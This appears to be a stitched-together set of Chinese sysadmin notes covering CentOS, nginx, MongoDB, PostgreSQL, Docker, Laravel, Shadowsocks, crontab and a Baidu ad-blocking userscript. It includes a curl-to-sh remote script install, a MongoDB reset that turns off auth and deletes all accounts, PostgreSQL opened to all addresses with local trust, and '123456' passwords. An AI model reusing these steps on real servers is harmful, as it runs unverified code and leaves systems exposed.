            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

        $req['short'] = $short;
        $req['short_private_encrypt'] = $crypt->encryptPrivate($short);
        $req['short_public_decrypt'] = $crypt->decryptPublic($req['short_private_encrypt']);

        $req['long'] = $long;
        $req['long_private_encrypt'] = $crypt->encryptPrivate($long);
        $req['long_public_decrypt'] = $crypt->decryptPublic($req['long_private_encrypt']);
        dump($req);
        //dd($req);
    }
}
  • 在/routes/web.php添加路由
Route::get('/test',  'IndexController@test');
  • 浏览器访问验证结果

安装ntp

yum -y install ntp

同步时间

ntpdate  pool.ntp.org

将ntp服务设为开机启动

chkconfig ntpd on

重启ntp服务

service ntpd restart

查看ntp服务状态

service ntpd status

浙大镜像源

浙大镜像源列表地址
http://mirrors.zju.edu.cn/epel/7/x86_64/e/

安装浙大镜像源方法

rpm -Uvh http://mirrors.zju.edu.cn/epel/7/x86_64/e/epel-release-7-8.noarch.rpm
#此链接可能会时常更新,具体可在上面的"浙大镜像源列表地址"中寻找命名为epel-release-7-*.noarch.rpm的文件地址

中科大镜像源

中科大镜像源官方使用方法
https://lug.ustc.edu.cn/wiki/mirrors/help/centos

首先备份CentOS-Base.repo

cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup

编辑CentOS-Base.repo文件

vi /etc/yum.repos.d/CentOS-Base.repo
# CentOS-Base.repo
#
# The mirror system uses the connecting IP address of the client and the
# update status of each mirror to pick mirrors that are updated to and
# geographically close to the client.  You should use this for CentOS updates
# unless you are manually picking other mirrors.
#
# If the mirrorlist= does not work for you, as a fall back you can try the
# remarked out baseurl= line instead.
#
#

[base]
name=CentOS-$releasever - Base
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os
baseurl=http://mirrors.ustc.edu.cn/centos/$releasever/os/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

#released updates
[updates]
name=CentOS-$releasever - Updates
# mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates
baseurl=http://mirrors.ustc.edu.cn/centos/$releasever/updates/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

#additional packages that may be useful
[extras]
name=CentOS-$releasever - Extras
# mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras
baseurl=http://mirrors.ustc.edu.cn/centos/$releasever/extras/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

#additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-$releasever - Plus
# mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus
baseurl=http://mirrors.ustc.edu.cn/centos/$releasever/centosplus/$basearch/
gpgcheck=1
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

debugbar

composer require barryvdh/laravel-debugbar

编辑config/app.php

providers中添加 Barryvdh\Debugbar\ServiceProvider::class,
aliases中添加'Debugbar' => Barryvdh\Debugbar\Facade::class,

命令行执行

php artisan vendor:publish

路由处添加

\Debugbar::enable();

debugbar 设置 , 编辑config/debugbar.php文件


Entrust

具体使用方法-> Entrust - Laravel 用户权限系统解决方案

composer require zizaco/entrust

# 编辑config/app.php
'Zizaco\Entrust\EntrustServiceProvider',   #providers中添加
'Entrust'    => 'Zizaco\Entrust\EntrustFacade',  #aliases中添加

ide-helper

composer require barryvdh/laravel-ide-helper -dev

#providers中添加
Barryvdh\LaravelIdeHelper\IdeHelperServiceProvider::class

            $file_name="test.mp3";
            $mp3_url = "";
            header( "Pragma: public" );
            header('Expires: 0');
            header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
            header( "Cache-Control: private", false );
            header( "Content-Type: application/force-download ");
            //header( "Content-Length: " . $fileSize);
            header('Content-Disposition: attachment; filename="'.$file_name.'"');
            header('Content-Transfer-Encoding: binary');
            header('Connection: close');
            readfile($mp3_url);
            exit();

转自《Nginx配置文件nginx.conf中文详解》

通性配置

定义Nginx运行的用户和用户组

user www www;

nginx进程数,建议设置为等于CPU总核心数.

worker_processes 8;

全局错误日志定义类型,[ debug | info | notice | warn | error | crit ]

error_log /var/log/nginx/error.log info;

进程文件

pid /var/run/nginx.pid;

一个nginx进程打开的最多文件描述符数目,理论值应该是最多打开文件数(系统的值ulimit -n)与nginx进程数相除,但是nginx分配请求并不均匀,所以建议与ulimit -n的值保持一致。

worker_rlimit_nofile 65535;

工作模式与连接数上限

events
{
#参考事件模型,use [ kqueue | rtsig | epoll | /dev/poll | select | poll ]; epoll模型是Linux 2.6以上版本内核中的高性能网络I/O模型,如果跑在FreeBSD上面,就用kqueue模型。
use epoll;
#单个进程最大连接数(最大连接数=连接数*进程数)
worker_connections 65535;
}

设定http服务器

http
{
include mime.types; #文件扩展名与文件类型映射表
default_type application/octet-stream; #默认文件类型
#charset utf-8; #默认编码
server_names_hash_bucket_size 128; #服务器名字的hash表大小
client_header_buffer_size 32k; #上传文件大小限制
large_client_header_buffers 4 64k; #设定请求缓
client_max_body_size 8m; #设定请求缓
sendfile on; #开启高效文件传输模式,sendfile指令指定nginx是否调用sendfile函数来输出文件,对于普通应用设为 on,如果用来进行下载等应用磁盘IO重负载应用,可设置为off,以平衡磁盘与网络I/O处理速度,降低系统的负载。注意:如果图片显示不正常把这个改成off。
autoindex on; #开启目录列表访问,合适下载服务器,默认关闭。
tcp_nopush on; #防止网络阻塞
tcp_nodelay on; #防止网络阻塞
keepalive_timeout 120; #长连接超时时间,单位是秒

#FastCGI相关参数是为了改善网站的性能:减少资源占用,提高访问速度。下面参数看字面意思都能理解。
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
fastcgi_buffer_size 64k;
fastcgi_buffers 4 64k;
fastcgi_busy_buffers_size 128k;
fastcgi_temp_file_write_size 128k;

#gzip模块设置
gzip on; #开启gzip压缩输出
gzip_min_length 1k; #最小压缩文件大小
gzip_buffers 4 16k; #压缩缓冲区
gzip_http_version 1.0; #压缩版本(默认1.1,前端如果是squid2.5请使用1.0)
gzip_comp_level 2; #压缩等级
gzip_types text/plain application/x-javascript text/css application/xml;
#压缩类型,默认就已经包含text/html,所以下面就不用再写了,写上去也不会有问题,但是会有一个warn。
gzip_vary on;
#limit_zone crawler $binary_remote_addr 10m; #开启限制IP连接数的时候需要使用

upstream blog.ha97.com {
#upstream的负载均衡,weight是权重,可以根据机器配置定义权重。weigth参数表示权值,权值越高被分配到的几率越大。
server 192.168.80.121:80 weight=3;
server 192.168.80.122:80 weight=2;
server 192.168.80.123:80 weight=3;
}

虚拟主机的配置

server
{
#监听端口
listen 80;
#域名可以有多个,用空格隔开
index index.html index.htm index.php;
root /data/www/ha97;
location ~ .*.(php|php5)?$
{
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi.conf;
}
#图片缓存时间设置
location ~ .*.(gif|jpg|jpeg|png|bmp|swf)$
{
expires 10d;
}
#JS和CSS缓存时间设置
location ~ .*.(js|css)?$
{
expires 1h;
}

日志格式设定

log_format access '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" $http_x_forwarded_for';
#定义本虚拟主机的访问日志
access_log /var/log/nginx/ha97access.log access;

#对 "/" 启用反向代理
location / {
proxy_pass http://127.0.0.1:88;
proxy_redirect off;
proxy_set_header X-Real-IP $remote_addr;
#后端的Web服务器可以通过X-Forwarded-For获取用户真实IP
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
#以下是一些反向代理的配置,可选。
proxy_set_header Host $host;
client_max_body_size 10m; #允许客户端请求的最大单文件字节数
client_body_buffer_size 128k; #缓冲区代理缓冲用户端请求的最大字节数,
proxy_connect_timeout 90; #nginx跟后端服务器连接超时时间(代理连接超时)
proxy_send_timeout 90; #后端服务器数据回传时间(代理发送超时)
proxy_read_timeout 90; #连接成功后,后端服务器响应时间(代理接收超时)
proxy_buffer_size 4k; #设置代理服务器(nginx)保存用户头信息的缓冲区大小
proxy_buffers 4 32k; #proxy_buffers缓冲区,网页平均在32k以下的设置
proxy_busy_buffers_size 64k; #高负荷下缓冲大小(proxy_buffers*2)
proxy_temp_file_write_size 64k;
#设定缓存文件夹大小,大于这个值,将从upstream服务器传
}

设定查看Nginx状态的地址

location /NginxStatus {
stub_status on;
access_log on;
auth_basic "NginxStatus";
auth_basic_user_file conf/htpasswd;
#htpasswd文件的内容可以用apache提供的htpasswd工具来产生。
}

#本地动静分离反向代理配置
#所有jsp的页面均交由tomcat或resin处理
location ~ .(jsp|jspx|do)?$ {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://127.0.0.1:8080;
}
#所有静态文件由nginx直接读取不经过tomcat或resin
location ~ .*.(htm|html|gif|jpg|jpeg|png|bmp|swf|ioc|rar|zip|txt|flv|mid|doc|ppt|pdf|xls|mp3|wma)$
{ expires 15d; }
location ~ .*.(js|css)?$
{ expires 1h; }
}
}

其他案例分享

1.thinkphp PATH_INFO支持

可以考虑通过配置URL重写规则来模拟实现,可以参考 thinkphp 隐藏index.php

2.thinkphp 隐藏index.php

thinkphp config配置:

'URL_MODEL'          => '2', //URL模式
nginx rewrite配置:

location / { 
   if (!-e $request_filename) {
   rewrite  ^(.*)$  /index.php?s=$1  last;
   break;
    }
}

如果你的ThinkPHP安装在二级目录,Nginx的伪静态方法设置如下,其中youdomain是所在的目录名称

location /youdomain/ {
        if (!-e $request_filename){
            rewrite  ^/youdomain/(.*)$  /youdomain/index.php?s=$1  last;
        }
    }

转自《CentOS 7 升级内核到最新版本》

CentOS 7 默认内核版本为 3.10

升级内核需要使用 elrepo 的yum 源,首先我们导入 elrepo 的key

rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org

安装 elrepo 源

rpm -Uvh http://www.elrepo.org/elrepo-release-7.0-2.el7.elrepo.noarch.rpm

在yum的ELRepo源中,mainline 为最新版本的内核

#安装 ml 的内核
yum --enablerepo=elrepo-kernel install  kernel-ml-devel kernel-ml -y

修改内核启动顺序,默认启动的顺序应该为1,升级以后内核是往前面插入,为0

grub2-set-default 0

重启系统

reboot

查看 内核版本

uname -r

docker下载国外镜像时往往非常非常慢,慢到怀疑人生,最近发现了这个daocloud的加速器,用着还不错,可以提供镜像加速服务。

使用方法

linux(Centos7)环境执行下面的命令

curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://68abbefd.m.daocloud.io
service docker restart

mac环境---Docker For Mac

右键点击桌面顶栏的 docker 图标,选择 Preferences ,在 Advanced 标签下的 Registry mirrors 列表中加入下面的镜像地址:
http://68abbefd.m.daocloud.io Copy
点击 Apply & Restart 按钮使设置生效。

windows环境---Docker For Windows

在桌面右下角状态栏中右键 docker 图标,修改在 Docker Daemon 标签页中的 json ,把下面的地址:
http://68abbefd.m.daocloud.io Copy
加到"registry-mirrors"的数组里。点击 Apply 。

第一次加速时(没有其它人加速过这个镜像时),加速效果并不明显。第二次以后(有人曾经加速过这个镜像),加速效果会非常明显。

安装timidity++ 与 ffmpeg

wget http://mirror.yandex.ru/fedora/russianfedora/russianfedora/free/el/releases/6/Everything/i386/os/puias-release-6-2.R.noarch.rpm
rpm -Uvh puias-release*.noarch.rpm

http://mirror.yandex.ru/fedora/russianfedora/russianfedora/free/el/releases/6/Everything/i386/os/russianfedora-free-release-6-3.R.noarch.rpm
rpm -Uvh russianfedora-free-release*rpm
yum install timidity++

yum install ffmpeg

midi转为wav

timidity test.mid -Ow -o test.wav

wav转为mp3

ffmpeg -i test.wav -acodec libmp3lame -ab 256k test-256k.mp3

yum方式安装

vim /etc/yum.repos.d/mongodb.repo

添加以下内容

[mongodb]
name=MongoDB Repository
baseurl=http://downloads-distro.mongodb.org/repo/redhat/os/x86_64/
gpgcheck=0
enabled=1

如果系统为32位,则baseurl=http://downloads-distro.mongodb.org/repo/redhat/os/i686/

yum -y update
yum install -y mongodb-org

压缩包形式安装

cd /usr/src
wget https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-rhel70-3.4.2.tgz
tar zxvf  mongodb-linux-x86_64-rhel70-3.4.2.tgz
mv mongodb-linux-x86_64-rhel70-3.4.2 mongodb
mv mongodb/ /usr/local/mongodb/
export PATH=$PATH:/usr/local/mongodb/bin

使用

启动:systemctl start mongod
状态:systemctl status mongod
状态表 : mongostat
每两秒显示五行状态表数据 : mongostat --rowcount 5 2
进入mongodb命令行模式 : mongo
连接至端口 : mongo --port 22222
关闭mongodb : systemctl stop mongod
卸载 : yum erase $(rpm -qa | grep mongodb-enterprise)

创建用户

mongo   #进入mongo控制台

use admin   #使用admin数据库
db.createUser({user:"test",pwd:"123456",roles:[{role:"root",db:"admin"}]})

卸载

service mongod stop
yum erase $(rpm -qa | grep mongodb-enterprise)

sudo rm -r /var/log/mongodb
sudo rm -r /var/lib/mongo

忘记密码后的操作步骤

编辑配置文件

vim /etc/mongod.conf

auth=false

systemctl restart mongod

#进入mongo命令行模式
mongo

#进入admin数据库
use admin

db.system.users.find()         # 查看当前帐户(密码有加密过)
db.system.users.remove({})     # 删除所有帐户
db.addUser('admin','password') # 添加新帐户

vim /etc/mongodb.conf          # 恢复 auth = true
systemctl restart mongod        # 重启 mongodb 服务

php-mongodb扩展

参考CenOS7环境安装PHP7扩展

yum install -y python-setuptools
easy_install pip
pip install shadowsocks

服务端

mkdir /etc/shadowsocks
cat >> /etc/shadowsocks/config.json <<'EOF'
{
"server":"0.0.0.0",
"server_port":1194,
"local_address":"127.0.0.1",
"local_port":1080,
"password":"123456",
"timeout":300,
"method":"aes-256-cfb",
"fast_open":false,
"workers": 1
}
EOF

客户端

{
  "server": "0.0.0.0",
  "server_port": 1194,
  "password": "123456",
  "method": "aes-256-cfb"
}

操作系统

CentOS7

安装

$ yum install crontabs
$ systemctl status  crond.service  #查看crontab服务状态
$ systemctl start   crond.service  #启动服务
$ systemctl restart crond.service  #重启服务
$ systemctl reload  crond.service  #重新载入配置

使用

举例: /root/root.sh 要自动定时执行的脚本程序路径

$ chmod +x /root/root.sh    #对脚本文件添加执行权限,否则不能执行

$ vi /etc/crontab           #编辑配置文件
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin
MAILTO=root
50 14 * * * /bin/sh /root/root.sh #表示每天14:50分执行root.sh这个脚本

$ systemctl reload  crond.service #重新载入配置

$ tail -f /var/log/cron     #查看任务日志

格式说明

[minute] [hour] [day] [mounth] [week] [day] [command]

  • minute:分,值为0--59
  • hour:时,值为1--23
  • day:天,值为1--31
  • month:月,值为1--12
  • weekday:星期,值为0--6 【0代表星期日,1代表星期一,一次类推】
  • command:要执行的程序路径【绝对路径】

更多实例

1.每天6:00执行
0 6 * * * /bin/sh /root/root.sh

2.每周六凌晨4:00执行
0 4 * * 6 /bin/sh /root/root.sh

3.每周六凌晨4:05执行
5 4 * * 6 /bin/sh /root/root.sh

4.每周六凌晨4:15执行
15 4 * * 6 /bin/sh /root/root.sh

5.每周六凌晨4:25执行
25 4 * * 6 /bin/sh /root/root.sh

6.每周一到周五的11:41开始,每10分钟执行一次
1-59/10 12-23 * * 1-5 /bin/sh /root/root.sh

7.每天的10:31开始,没隔2小时执行一次
31 10-23/2 * * * /bin/sh /root/root.sh

tampermonkey使用教程(来源:知乎|貌似已被河蟹)

原脚本地址(点击查看)

使用教程

  • 浏览器安装tampermonkey插件,这个在各个浏览器几乎都能安装的。比如UC浏览器,点击扩展中心,在里面搜索tampermonkey,然后安装就可以了。
  • 安装后一般会显示在右上角,比如:3.png
  • 点击油猴子图标,再选择仪表盘4.png
  • 点击这个图标,添加脚本 5.png
  • 粘贴下面的修改版代码,然后点击保存按钮6.png
  • 然后就完成啦
  • 如果要更新tampermonkey插件的话,可以先把插件删除掉,再重新安装就好了。

描述

因为百度有时是局部刷新修改页面内容,所以使用原脚本的时候,会出现必须手动刷新页面才能去除广告的情况。还有,在点击某些链接之后,再回去看搜索页面,会看不见搜索结果,这个是因为被一个“关联推荐”广告页遮住了,针对这我也做了些处理。主要修改内容如下:

  • 修改代码逻辑,使脚本更加精简
  • 针对局部刷新问题的处理:定时判断是否有未隐藏的广告块
  • 模拟鼠标点击,关闭“关联推荐”广告
  • 修改了一些原脚本中不友好的词汇,比如 **ck
  • 增加了一个match ,还增加了对已登录状态下的首页搜索框和搜索按钮,以及浮动框不进行隐藏的判断

其它暂时还没发现什么问题,以后我会持续修改的,具体看修改后的代码吧。

修改版代码

// ==UserScript==
// @name         去除百度广告
// @namespace    http://tampermonkey.net/
// @version      1.2
// @description  去掉百度页面上的广告
// @author       axios
// @match        https://www.baidu.com/*
// @match        http://www.baidu.com/s*
// @match        http://news.baidu.com/s*
// @match        https://www.baidu.com/s*
// @match        https://news.baidu.com/s*
// @grant        none
// ==/UserScript==
window.onload = function(){
    console.log("开始干活!");
    var console_log = 0;//console日志,1打印日志,0不打印日志
    //1启用,0关闭
    var option = {
        "ad"    :   1,//推广
        "right" :   1,//右边
        "baike" :   0,//百科
        "img"   :   1,//图片
        "news"  :   1,//新闻
        "tieba" :   1,//贴吧
        "win10" :   1,//Win10
        "video" :   1,//视频
        "comic" :   1,//漫画
        "stock" :   1,//股票
        "map"   :   1,//地图
        "software": 1 //软件
    };

    var obj = {
        "ad"    :   [".ct-content",".ec_tuiguang_ppimlink",".hint_toprq_tips"],    //推广
        "right" :   ["#content_right"], //右边
        "baike" :   [".c-border"],      //百科
        "img"   :   ["#ala_img_results",'.op-img-covers-desktop-cont','.c-showurl'],//图片
        "news"  :   ['.c-offset'],      //新闻
        "tieba" :   ['.op-tieba-general-maintable','.op-tieba-star-maintable','.op-tieba-general-lookmore.op-tieba-general-mainpl'],//贴吧
        "win10" :   ['.opt_software_showarea'],         //Win10
        "video" :   ['.c-row.zx-tv-video-topinfo','.op-zx-new-tvideo-drlt'],//视频
        "comic" :   ['.op_cartoon.click-parent-reward'],//漫画
        "stock" :   ['.op_shares_simple'],              //股票
        "map"   :   ['.op_map_twoplace_table'],         //地图
        "software": ['table.c-table.op_pcsoft_table','.c-gap-top']          //软件
    };
    hideAdvertisement();
    function getElementsByClassName(a, b) {
        if (a.getElementsByClassName) {
            return a.getElementsByClassName(b);
        } else {
            return function c(m, k) {
                if (k === null) {
                    k = document;
                }
                var h = [], g = k.getElementsByTagName("div"), d = g.length, l = new RegExp("(^|\\s)" + m + "(\\s|$)"), f, e;
                for (f = 0, e = 0; f < d; f++) {
                    if (l.test(g[f].className)) {
                        h[e] = g[f];
                        e++;
                    }
                }
                return h;
            }(b, a);
        }
    }
    function Id_hide(id){
        if($(id).css('display')=="block"){
            $(id).css('display', 'none');
            if(console_log){console.log('隐藏-> '+id );}
        }
    }
    function hideAdvertisement() {
        if(option.ad == 1){//推广
            var page;
            var homeIndex = ['div#u_sp','div#s_fm','div#s_wrap','div#s_main'];//已登录状态下的首页搜索框和搜索按钮,以及浮动框
            if (document.all || document.getElementById){
                page = document.getElementsByTagName("div");
            }
            for(var i = 0;i < page.length;i++){
                var div_id;
                if(page[i].id !== ""){
                    div_id = page[i].id;
                }
            }
        }
        var option_i , obj_i , del;
        for(option_i in option){
            if(option[option_i]){
                del = obj[option_i];
                for(obj_i in del){
                    Id_hide(del[obj_i] );
                }
            }
        }
        $(".m").each(function (index,element) {
            if($(element).html() == "广告" && $(element).parent().parent().css('display')!='none'){
                if(console_log){console.log('隐藏搜索结果中的广告->'+index);}
                $(element).parent().parent().css('display','none');
            }
            if($(element).html() == "评价" && $(element).parent().parent().parent().css('display')!='none'){
                if(console_log){console.log('隐藏搜索结果中的加v广告->'+index);}
                $(element).parent().parent().parent().css('display','none');
            }
        });
    }
    setInterval (function (){
        if($('.rrecom-btn-close')){
            $('.rrecom-btn-close').click();
        }
        hideAdvertisement();
    }, 100);
};

效果

使用之前

1.png

使用之后

2.png

什么是postgresql

PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES 版本 4.2 为基础的对象关系型数据库管理系统(ORDBMS),简称pgsql,它支持大部分 SQL 标准并且提供了许多其他现代特性:复杂查询 外键 触发器 视图 事务完整性 多版本并发控制 同样,PostgreSQL 可以用许多方法扩展,比如, 通过增加新的:数据类型 函数 操作符 聚集函数 索引方法 过程语言 并且,因为许可证的灵活,任何人都可以以任何目的免费使用,修改,和分发 PostgreSQL, 不管是私用,商用,还是学术研究使用。

安装postgresql

# 安装postgresql
$ yum install -y postgresql postgresql-server  

# 安装php-pgsql
$ yum install -y php-pgsql

# 查看版本
$ postgres --version

使用

数据库初始化

$ su  postgres 
$ initdb -E UTF-8 -D /var/lib/pgsql/data --locale=en_US.UTF-8 -U dbname -W

修改postgresql.conf

$ vim /var/lib/pgsql/data/postgresql.conf
listen_addresses = '*'     //监听所有ip的连接,默认是本机  
port = 5432             //这个不开也行,默认就是5432端口

修改postgresql.conf

$ vim /var/lib/pgsql/data/postgresql.conf

# TYPE  DATABASE    USER        CIDR-ADDRESS          METHOD  
# "local" is for Unix domain socket connections only  
 local   all         all                               trust  
# IPv4 local connections:  
 host    all         all         127.0.0.1/32          md5  
 host    all         all         0.0.0.0/0             md5   //这一行我加的,所有IP和用户,密码对都可以连接  
# IPv6 local connections:  
 host    all         all         ::1/128               md5  

启动并查看

$ su # 切换为root用户
#启动
$ service postgres start 

#查看状态
$ servuce postgres status

修改密码

$ su postgres #用postgres用户登录
$ psql -U postgres 
postgres=# Alter USER postgres WITH PASSWORD '***密码**';  //添加密码  
ALTER ROLE        //出现这个才算成功,第一次操作没成功,pgadmin连不上  
postgres-# \q     //退出  

Usage:
  command [options] [arguments]

Options:
  -h, --help            Display this help message
  -q, --quiet           Do not output any message
  -V, --version         Display this application version
      --ansi            Force ANSI output
      --no-ansi         Disable ANSI output
  -n, --no-interaction  Do not ask any interactive question
      --env[=ENV]       The environment the command should run under.
  -v|vv|vvv, --verbose  Increase the verbosity of messages: 1 for normal output, 2 for more verbose output and 3 for debug

Available commands:
  clear-compiled       Remove the compiled class file
  down                 Put the application into maintenance mode
  env                  Display the current framework environment
  help                 Displays help for a command
  inspire              Display an inspiring quote
  list                 Lists commands
  migrate              Run the database migrations
  optimize             Optimize the framework for better performance
  serve                Serve the application on the PHP development server
  tinker               Interact with your application
  up                   Bring the application out of maintenance mode
 app
  app:name             Set the application namespace
 auth
  auth:clear-resets    Flush expired password reset tokens
 cache
  cache:clear          Flush the application cache
  cache:table          Create a migration for the cache database table
 config
  config:cache         Create a cache file for faster configuration loading
  config:clear         Remove the configuration cache file
 db
  db:seed              Seed the database with records
 event
  event:generate       Generate the missing events and listeners based on registration
 key
  key:generate         Set the application key
 make
  make:auth            Scaffold basic login and registration views and routes
  make:command         Create a new Artisan command
  make:controller      Create a new controller class
  make:event           Create a new event class
  make:job             Create a new job class
  make:listener        Create a new event listener class
  make:mail            Create a new email class
  make:middleware      Create a new middleware class
  make:migration       Create a new migration file
  make:model           Create a new Eloquent model class
  make:notification    Create a new notification class
  make:policy          Create a new policy class
  make:provider        Create a new service provider class
  make:request         Create a new form request class
  make:seeder          Create a new seeder class
  make:test            Create a new test class
 migrate
  migrate:install      Create the migration repository
  migrate:refresh      Reset and re-run all migrations
  migrate:reset        Rollback all database migrations
  migrate:rollback     Rollback the last database migration
  migrate:status       Show the status of each migration
 notifications
  notifications:table  Create a migration for the notifications table
 queue
  queue:failed         List all of the failed queue jobs
  queue:failed-table   Create a migration for the failed queue jobs database table
  queue:flush          Flush all of the failed queue jobs
  queue:forget         Delete a failed queue job
  queue:listen         Listen to a given queue
  queue:restart        Restart queue worker daemons after their current job
  queue:retry          Retry a failed queue job
  queue:table          Create a migration for the queue jobs database table
  queue:work           Process the next job on a queue
 route
  route:cache          Create a route cache file for faster route registration
  route:clear          Remove the route cache file
  route:list           List all registered routes
 schedule
  schedule:run         Run the scheduled commands
 session
  session:table        Create a migration for the session database table
 storage
  storage:link         Create a symbolic link from "public/storage" to "storage/app/public"
 vendor
  vendor:publish       Publish any publishable assets from vendor packages
 view
  view:clear           Clear all compiled view files

docker hub

安装和启动

yum install docker
service docker start      #或 systemctl  start docker.service
chkconfig docker on       #或 systemctl  enable docker.service

docker [OPTIONS]

  • --config=~/.docker 用户配置文件
  • -D, --debug debug模式
  • -H, --host=[] 以守护进程的方式连接
  • -h, --help 帮助
  • -l, --log-level=info 设置日志类别
  • --tls 使用传输层安全协议
  • --tlscacert=~/.docker/ca.pem CA地址
  • --tlscert=~/.docker/cert.pem 证书地址
  • --tlskey=~/.docker/key.pem 密钥地址
  • --tlsverify 使用传输层安全协议
  • -v, --version 打印版本号并退出

docker [COMMANDS]

attach

绑定窗口到某个已经在运行的容器:docker attach [OPTIONS] CONTAINER

  • --detach-keys 重置key
  • --no-stdin 非标准输入
  • sig-proxy=true 代理所有接收信号的进程

build

创建镜像文件

  • --build-arg=[] 变量
  • --cpu-shares CPU 共享 (相对权重)
  • --cgroup-parent 设置容器组
  • --cpu-period Limit the CPU CFS (Completely Fair Scheduler完全公平调度) period
  • --cpu-quota Limit the CPU CFS (Completely Fair Scheduler完全公平调度) quota
  • --cpuset-cpus CPUs in which to allow execution (0-3, 0,1),允许执行的cpu数
  • --cpuset-mems MEMs in which to allow execution (0-3, 0,1),允许执行的内存数
  • --disable-content-trust=true Skip image verification,跳过镜像验证
  • -f, --file Name of the Dockerfile (Default is 'PATH/Dockerfile'),dockerfile文件地址
  • --force-rm Always remove intermediate containers,强制删除相关容器
  • --help Print usage,帮助
  • --isolation Container isolation level,容器孤立等级
  • -m, --memory Memory limit,内存限制
  • --memory-swap Swap limit equal to memory plus swap: '-1' to enable unlimited swap,内存缓冲区限制
  • --no-cache Do not use cache when building the image,创建镜像时不使用缓存
  • --pull Always attempt to pull a newer version of the image,总是拉取最新版的镜像
  • -q, --quiet Suppress the build output and print image ID on success,隐藏输出,并打印镜像ID
  • --rm=true Remove intermediate containers after a successful build,成功创建时移除相关容器
  • --shm-size Size of /dev/shm, default value is 64MB,
  • -t, --tag=[] Name and optionally a tag in the 'name:tag' format
  • --ulimit=[] Ulimit options
  • -v, --volume=[] Set build-time bind mounts

commit

记录镜像:docker commit [ID] [repository]

  • -a 作者
  • -c,--change=[]
  • -m commit message
  • -p,--pause=true commit过程中暂停

cp

create

diff

events

exec

export

history

images命令

查看镜像:docker images 镜像名

  • -a 显示全部
  • --digests 摘要显示
  • -q 仅显示ID

import

info

inspect

docker inspect [OPTIONS] CONTAINER|IMAGE [CONTAINER|IMAGE...]

kill

load

login

登陆镜像

  • -e,--email E-mail
  • -p,--password 密码
  • -u,--username 用户名

logout

logs

查看docker日志:docker logs [container ID or NAMES]

  • --since timestamp 从某时间戳开始后的日志
  • -t,--timestamps 显示时间戳
  • --tail=all 行数字

network

pause

port

查看端口映射情况:docker port [NAME] 5000

ps

显示容器列表:docker ps [OPTIONS]

  • -a,--all 显示全部
  • -f,--filter=[] 基于条件的显示
  • --format 格式化显示
  • -l 显示最新的一个容器
  • -n=1 显示n个最新的容器
  • --no-trunc 非截取输出
  • q,--quiet 仅显示ID
  • -s,--size 显示完整大小

pull命令

下载镜像

push

提交镜像到镜像仓库:docker push [repository]

rename

restart

rm

rmi

清除镜像:docker rmi 镜像名

  • -f 强制删除
  • --no-prune 删除未标记的镜像

run命令

启动镜像,生成容器

  • -i 捕获标准输入输出
  • -t 分配一个终端或控制台
  • -d,--detach 后台运行
  • -h hostname
  • --ip ipv4地址
  • --ip6 ipv6地址
  • --link=[] 链接其它容器
  • --name 容器名称
  • --rm 退出时删除容器
  • -v,--volume=[] 绑定数据卷
  • --volumes-from=[] 从容器挂载数据卷
  • --ulimit=[] ulimit设置
  • -e,--env=[] 设置环境变量
  • -p 指定端口到端口的映射,可多个
  • -P 映射所有端口到容器的一个随机端口
  • -m 内存限制
  • 容器内执行exit,或Ctrl+d推出容器

save

search

搜索镜像:docker search 镜像名

start

stats

stop

tag

